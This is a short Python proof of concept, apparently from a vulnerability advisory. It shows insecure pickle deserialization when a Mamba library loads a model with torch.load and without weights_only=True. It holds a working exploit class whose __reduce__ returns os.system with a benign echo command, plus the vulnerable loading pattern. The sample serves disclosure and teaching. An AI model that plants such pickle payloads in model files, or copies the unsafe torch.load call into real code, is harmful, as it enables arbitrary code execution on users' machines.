Vulnerable code sample

import torch
import pickle
import os
import io

# This example represents the vulnerability conceptually.
# An attacker would create a malicious 'pytorch_model.bin' file and host it
# on a HuggingFace Hub repository.

# Attacker's payload preparation
class ArbitraryCodeExecutor:
    def __reduce__(self):
        # This method is called during deserialization (unpickling).
        # It returns a callable (os.system) and its arguments.
        command = 'echo "[+] Arbitrary code executed via insecure deserialization!"'
        return (os.system, (command,))

# Create an in-memory file-like object containing the malicious pickled data.
# In a real attack, this would be the 'pytorch_model.bin' file.
malicious_pickle_data = io.BytesIO()
pickle.dump(ArbitraryCodeExecutor(), malicious_pickle_data)
malicious_pickle_data.seek(0)


# Simplified representation of the vulnerable part of the Mamba library
class MambaLMHeadModel:
    @classmethod
    def from_pretrained(cls, pretrained_model_name, **kwargs):
        """
        Simplified vulnerable method. In a real scenario, this method would
        download the 'pytorch_model.bin' from HuggingFace Hub.
        """
        print(f"[*] Loading model: {pretrained_model_name}")

        # Simulate loading the malicious 'pytorch_model.bin' file.
        # This is the core of the vulnerability. `torch.load` uses `pickle`
        # by default, and the `weights_only=True` parameter is missing.
        state_dict = torch.load(malicious_pickle_data)

        print(f"[*] Model weights supposedly loaded.")
        # The arbitrary code has already been executed at this point.
        # The function might continue or crash, but the damage is done.
        return cls()


# Victim's code
# A user tries to load a seemingly legitimate model from HuggingFace Hub.
print("[*] Victim trying to load a pre-trained model...")
model = MambaLMHeadModel.from_pretrained("attacker/malicious-mamba-model")
print("[*] Script finished.")